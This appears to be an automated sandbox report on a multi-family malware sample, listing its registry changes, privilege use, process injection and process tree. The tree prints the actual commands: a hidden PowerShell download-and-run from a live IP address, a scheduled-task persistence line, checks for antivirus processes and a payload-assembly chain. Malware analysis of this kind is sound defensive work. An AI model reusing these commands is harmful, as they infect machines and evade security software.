Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 64 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
8732	PING.EXE
5840	PING.EXE
11756	PING.EXE
2992	PING.EXE
11960	PING.EXE
6160	PING.EXE
13228	PING.EXE
9868	PING.EXE
12324	PING.EXE
12924	PING.EXE
7612	PING.EXE
8008	PING.EXE
11528	PING.EXE
6504	PING.EXE
6960	PING.EXE
3420	PING.EXE
8220	PING.EXE
12392	PING.EXE
3488	PING.EXE
10912	PING.EXE
6292	PING.EXE
6648	PING.EXE
6812	PING.EXE
5320	PING.EXE
10052	PING.EXE
11872	PING.EXE
8680	PING.EXE
3400	PING.EXE
8136	PING.EXE
7588	PING.EXE
10740	PING.EXE
9112	PING.EXE
8408	PING.EXE
6424	PING.EXE
7716	PING.EXE
12308	PING.EXE
6532	PING.EXE
10504	PING.EXE
6168	PING.EXE
7528	PING.EXE
11372	PING.EXE
12464	PING.EXE
3196	PING.EXE
12896	PING.EXE
7140	PING.EXE
8208	PING.EXE
9520	PING.EXE
3368	PING.EXE
9608	PING.EXE
10396	PING.EXE
3492	PING.EXE
12636	PING.EXE
1640	PING.EXE
10660	PING.EXE
4496	PING.EXE
12280	PING.EXE
8700	PING.EXE
7172	PING.EXE
8380	PING.EXE
10252	PING.EXE
12244	PING.EXE
8	PING.EXE
3960	PING.EXE
13076	PING.EXE

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
8944	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MeshAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MeshAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000_Classes\Local Settings	rapes.exe

Runs net.exe

Runs ping.exe 1 TTPs 64 IoCs

Remote System Discovery

T1018

pid	Process
3420	PING.EXE
10504	PING.EXE
10252	PING.EXE
6504	PING.EXE
12280	PING.EXE
12324	PING.EXE
7716	PING.EXE
6532	PING.EXE
8968	PING.EXE
12464	PING.EXE
6168	PING.EXE
4912	PING.EXE
8408	PING.EXE
7140	PING.EXE
4496	PING.EXE
7172	PING.EXE
10396	PING.EXE
13076	PING.EXE
3492	PING.EXE
12896	PING.EXE
5840	PING.EXE
3196	PING.EXE
9112	PING.EXE
10660	PING.EXE
9868	PING.EXE
10740	PING.EXE
12392	PING.EXE
10364	PING.EXE
1944	PING.EXE
9540	PING.EXE
6812	PING.EXE
9520	PING.EXE
1640	PING.EXE
6420	PING.EXE
5512	PING.EXE
7528	PING.EXE
8732	PING.EXE
6444	PING.EXE
11960	PING.EXE
11528	PING.EXE
12572	PING.EXE
12924	PING.EXE
8136	PING.EXE
12536	PING.EXE
8208	PING.EXE
5320	PING.EXE
2992	PING.EXE
8220	PING.EXE
7588	PING.EXE
3368	PING.EXE
12244	PING.EXE
6424	PING.EXE
11872	PING.EXE
6292	PING.EXE
11756	PING.EXE
3960	PING.EXE
10052	PING.EXE
10008	PING.EXE
13228	PING.EXE
7612	PING.EXE
11964	PING.EXE
6960	PING.EXE
8008	PING.EXE
8700	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6012	schtasks.exe
1636	schtasks.exe
12948	schtasks.exe
10880	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6084	powershell.exe
6084	powershell.exe
2996	TempRFDTLPMYGYOHFSH9SDQB0PFNAZDWLXPL.EXE
2996	TempRFDTLPMYGYOHFSH9SDQB0PFNAZDWLXPL.EXE
4972	rapes.exe
4972	rapes.exe
1180	MSBuild.exe
1180	MSBuild.exe
1180	MSBuild.exe
1180	MSBuild.exe
1092	00f0cff33d.exe
1092	00f0cff33d.exe
5512	rapes.exe
5512	rapes.exe
1092	00f0cff33d.exe
1092	00f0cff33d.exe
1092	00f0cff33d.exe
1092	00f0cff33d.exe
5604	powershell.exe
5604	powershell.exe
5604	powershell.exe
5044	Passwords.com
5044	Passwords.com
5044	Passwords.com
5044	Passwords.com
5044	Passwords.com
5044	Passwords.com
3840	e6fe4983da.exe
3840	e6fe4983da.exe
4740	17d588e282.exe
4740	17d588e282.exe
1620	powershell.exe
1620	powershell.exe
1620	powershell.exe
1316	MSBuild.exe
1316	MSBuild.exe
1316	MSBuild.exe
1316	MSBuild.exe
5044	Passwords.com
5044	Passwords.com
5044	Passwords.com
5044	Passwords.com
7776	powershell.exe
7776	powershell.exe
7776	powershell.exe
8404	powershell.exe
8404	powershell.exe
8404	powershell.exe
6560	powershell.exe
6560	powershell.exe
6560	powershell.exe
7280	powershell.exe
7280	powershell.exe
7280	powershell.exe
9196	powershell.exe
9196	powershell.exe
9196	powershell.exe
7156	9sWdA2p.exe
7156	9sWdA2p.exe
7156	9sWdA2p.exe
7156	9sWdA2p.exe
7156	9sWdA2p.exe
7156	9sWdA2p.exe
1092	rapes.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
5328	tzutil.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
5480	UZPt0hR.exe
5480	UZPt0hR.exe
5480	UZPt0hR.exe

Suspicious use of AdjustPrivilegeToken 50 IoCs

description	pid	Process
Token: SeDebugPrivilege	6084	powershell.exe
Token: SeDebugPrivilege	4736	7q8Wm5h.exe
Token: SeDebugPrivilege	5604	powershell.exe
Token: SeDebugPrivilege	208	tasklist.exe
Token: SeDebugPrivilege	696	tasklist.exe
Token: SeDebugPrivilege	1620	powershell.exe
Token: SeDebugPrivilege	7776	powershell.exe
Token: SeLoadDriverPrivilege	5328	tzutil.exe
Token: SeDebugPrivilege	8404	powershell.exe
Token: SeDebugPrivilege	6560	powershell.exe
Token: SeDebugPrivilege	7280	powershell.exe
Token: SeDebugPrivilege	9196	powershell.exe
Token: SeDebugPrivilege	5012	IsValueCreated.exe
Token: SeDebugPrivilege	13056	204da276.exe
Token: SeBackupPrivilege	13056	204da276.exe
Token: SeRestorePrivilege	13056	204da276.exe
Token: SeLoadDriverPrivilege	13056	204da276.exe
Token: SeShutdownPrivilege	13056	204da276.exe
Token: SeSystemEnvironmentPrivilege	13056	204da276.exe
Token: SeSecurityPrivilege	13056	204da276.exe
Token: SeBackupPrivilege	13056	204da276.exe
Token: SeRestorePrivilege	13056	204da276.exe
Token: SeDebugPrivilege	13056	204da276.exe
Token: SeSystemEnvironmentPrivilege	13056	204da276.exe
Token: SeSecurityPrivilege	13056	204da276.exe
Token: SeCreatePermanentPrivilege	13056	204da276.exe
Token: SeShutdownPrivilege	13056	204da276.exe
Token: SeLoadDriverPrivilege	13056	204da276.exe
Token: SeIncreaseQuotaPrivilege	13056	204da276.exe
Token: SeSecurityPrivilege	13056	204da276.exe
Token: SeSystemProfilePrivilege	13056	204da276.exe
Token: SeDebugPrivilege	13056	204da276.exe
Token: SeMachineAccountPrivilege	13056	204da276.exe
Token: SeCreateTokenPrivilege	13056	204da276.exe
Token: SeAssignPrimaryTokenPrivilege	13056	204da276.exe
Token: SeTcbPrivilege	13056	204da276.exe
Token: SeAuditPrivilege	13056	204da276.exe
Token: SeSystemEnvironmentPrivilege	13056	204da276.exe
Token: SeLoadDriverPrivilege	13056	204da276.exe
Token: SeLoadDriverPrivilege	13056	204da276.exe
Token: SeIncreaseQuotaPrivilege	13056	204da276.exe
Token: SeSecurityPrivilege	13056	204da276.exe
Token: SeSystemProfilePrivilege	13056	204da276.exe
Token: SeDebugPrivilege	13056	204da276.exe
Token: SeMachineAccountPrivilege	13056	204da276.exe
Token: SeCreateTokenPrivilege	13056	204da276.exe
Token: SeAssignPrimaryTokenPrivilege	13056	204da276.exe
Token: SeTcbPrivilege	13056	204da276.exe
Token: SeAuditPrivilege	13056	204da276.exe
Token: SeSystemEnvironmentPrivilege	13056	204da276.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
5592	2025-04-04_63a5635ab6615d0b528c41c7ae8831d8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
5592	2025-04-04_63a5635ab6615d0b528c41c7ae8831d8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
5592	2025-04-04_63a5635ab6615d0b528c41c7ae8831d8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
2996	TempRFDTLPMYGYOHFSH9SDQB0PFNAZDWLXPL.EXE
5044	Passwords.com
5044	Passwords.com
5044	Passwords.com

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
5592	2025-04-04_63a5635ab6615d0b528c41c7ae8831d8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
5592	2025-04-04_63a5635ab6615d0b528c41c7ae8831d8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
5592	2025-04-04_63a5635ab6615d0b528c41c7ae8831d8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
5044	Passwords.com
5044	Passwords.com
5044	Passwords.com

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5592 wrote to memory of 1080	5592	2025-04-04_63a5635ab6615d0b528c41c7ae8831d8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	86
PID 5592 wrote to memory of 1080	5592	2025-04-04_63a5635ab6615d0b528c41c7ae8831d8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	86
PID 5592 wrote to memory of 1080	5592	2025-04-04_63a5635ab6615d0b528c41c7ae8831d8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	86
PID 5592 wrote to memory of 1632	5592	2025-04-04_63a5635ab6615d0b528c41c7ae8831d8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	87
PID 5592 wrote to memory of 1632	5592	2025-04-04_63a5635ab6615d0b528c41c7ae8831d8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	87
PID 5592 wrote to memory of 1632	5592	2025-04-04_63a5635ab6615d0b528c41c7ae8831d8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	87
PID 1080 wrote to memory of 6012	1080	cmd.exe	89
PID 1080 wrote to memory of 6012	1080	cmd.exe	89
PID 1080 wrote to memory of 6012	1080	cmd.exe	89
PID 1632 wrote to memory of 6084	1632	mshta.exe	91
PID 1632 wrote to memory of 6084	1632	mshta.exe	91
PID 1632 wrote to memory of 6084	1632	mshta.exe	91
PID 6084 wrote to memory of 2996	6084	powershell.exe	98
PID 6084 wrote to memory of 2996	6084	powershell.exe	98
PID 6084 wrote to memory of 2996	6084	powershell.exe	98
PID 2996 wrote to memory of 4972	2996	TempRFDTLPMYGYOHFSH9SDQB0PFNAZDWLXPL.EXE	100
PID 2996 wrote to memory of 4972	2996	TempRFDTLPMYGYOHFSH9SDQB0PFNAZDWLXPL.EXE	100
PID 2996 wrote to memory of 4972	2996	TempRFDTLPMYGYOHFSH9SDQB0PFNAZDWLXPL.EXE	100
PID 4972 wrote to memory of 5524	4972	rapes.exe	104
PID 4972 wrote to memory of 5524	4972	rapes.exe	104
PID 4972 wrote to memory of 5524	4972	rapes.exe	104
PID 4972 wrote to memory of 1540	4972	rapes.exe	105
PID 4972 wrote to memory of 1540	4972	rapes.exe	105
PID 4972 wrote to memory of 1540	4972	rapes.exe	105
PID 4972 wrote to memory of 404	4972	rapes.exe	106
PID 4972 wrote to memory of 404	4972	rapes.exe	106
PID 404 wrote to memory of 1180	404	trOUuPI.exe	107
PID 404 wrote to memory of 1180	404	trOUuPI.exe	107
PID 404 wrote to memory of 1180	404	trOUuPI.exe	107
PID 404 wrote to memory of 1180	404	trOUuPI.exe	107
PID 404 wrote to memory of 1180	404	trOUuPI.exe	107
PID 404 wrote to memory of 1180	404	trOUuPI.exe	107
PID 404 wrote to memory of 1180	404	trOUuPI.exe	107
PID 404 wrote to memory of 1180	404	trOUuPI.exe	107
PID 404 wrote to memory of 1180	404	trOUuPI.exe	107
PID 4972 wrote to memory of 4736	4972	rapes.exe	109
PID 4972 wrote to memory of 4736	4972	rapes.exe	109
PID 4972 wrote to memory of 1092	4972	rapes.exe	110
PID 4972 wrote to memory of 1092	4972	rapes.exe	110
PID 4972 wrote to memory of 1092	4972	rapes.exe	110
PID 4972 wrote to memory of 388	4972	rapes.exe	116
PID 4972 wrote to memory of 388	4972	rapes.exe	116
PID 4972 wrote to memory of 388	4972	rapes.exe	116
PID 388 wrote to memory of 960	388	7IIl2eE.exe	119
PID 388 wrote to memory of 960	388	7IIl2eE.exe	119
PID 388 wrote to memory of 960	388	7IIl2eE.exe	119
PID 4972 wrote to memory of 5940	4972	rapes.exe	122
PID 4972 wrote to memory of 5940	4972	rapes.exe	122
PID 4972 wrote to memory of 5940	4972	rapes.exe	122
PID 5940 wrote to memory of 5604	5940	cmd.exe	124
PID 5940 wrote to memory of 5604	5940	cmd.exe	124
PID 5940 wrote to memory of 5604	5940	cmd.exe	124
PID 5604 wrote to memory of 3584	5604	powershell.exe	125
PID 5604 wrote to memory of 3584	5604	powershell.exe	125
PID 5604 wrote to memory of 3584	5604	powershell.exe	125
PID 3584 wrote to memory of 1920	3584	cmd.exe	127
PID 3584 wrote to memory of 1920	3584	cmd.exe	127
PID 3584 wrote to memory of 1920	3584	cmd.exe	127
PID 4972 wrote to memory of 2776	4972	rapes.exe	128
PID 4972 wrote to memory of 2776	4972	rapes.exe	128
PID 4972 wrote to memory of 2776	4972	rapes.exe	128
PID 2776 wrote to memory of 2996	2776	amnew.exe	129
PID 2776 wrote to memory of 2996	2776	amnew.exe	129
PID 2776 wrote to memory of 2996	2776	amnew.exe	129

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2025-04-04_63a5635ab6615d0b528c41c7ae8831d8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2025-04-04_63a5635ab6615d0b528c41c7ae8831d8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5592
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn mbgTnmapMoP /tr "mshta C:\Users\Admin\AppData\Local\Temp\iVEOXj2kj.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1080
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn mbgTnmapMoP /tr "mshta C:\Users\Admin\AppData\Local\Temp\iVEOXj2kj.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:6012
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\iVEOXj2kj.hta
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'RFDTLPMYGYOHFSH9SDQB0PFNAZDWLXPL.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:6084
  - - C:\Users\Admin\AppData\Local\TempRFDTLPMYGYOHFSH9SDQB0PFNAZDWLXPL.EXE
      "C:\Users\Admin\AppData\Local\TempRFDTLPMYGYOHFSH9SDQB0PFNAZDWLXPL.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2996
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4972
      - C:\Users\Admin\AppData\Local\Temp\10453070101\UU0LfLZ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453070101\UU0LfLZ.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5524
      - C:\Users\Admin\AppData\Local\Temp\10453690101\UU0LfLZ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453690101\UU0LfLZ.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1540
      - C:\Users\Admin\AppData\Local\Temp\10453700101\trOUuPI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453700101\trOUuPI.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:404
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1180
      - C:\Users\Admin\AppData\Local\Temp\10453710101\7q8Wm5h.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453710101\7q8Wm5h.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4736
      - C:\Users\Admin\AppData\Local\Temp\10453720101\00f0cff33d.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453720101\00f0cff33d.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1092
      - C:\Users\Admin\AppData\Local\Temp\10453730101\7IIl2eE.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453730101\7IIl2eE.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:388
        
        C:\Windows\SysWOW64\CMD.exe
        
        "C:\Windows\system32\CMD.exe" /c copy Expectations.cab Expectations.cab.bat & Expectations.cab.bat
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:960
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:208
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:404
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:696
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:3604
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 418377
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:6088
        
        C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Leon.cab
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:3600
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "BEVERAGES" Compilation
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5940
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 418377\Passwords.com + Playing + New + Realized + Uw + Jpeg + Badly + Asbestos + Seeds + Service + Basis + Via 418377\Passwords.com
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:2644
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Pendant.cab + ..\Visitor.cab + ..\Illegal.cab + ..\Suddenly.cab + ..\Theology.cab + ..\Kidney.cab + ..\Flying.cab + ..\Tigers.cab N
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4628
        
        C:\Users\Admin\AppData\Local\Temp\418377\Passwords.com
        
        Passwords.com N
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:5044
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4724
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10453741121\pfJNmVW.cmd"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5940
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
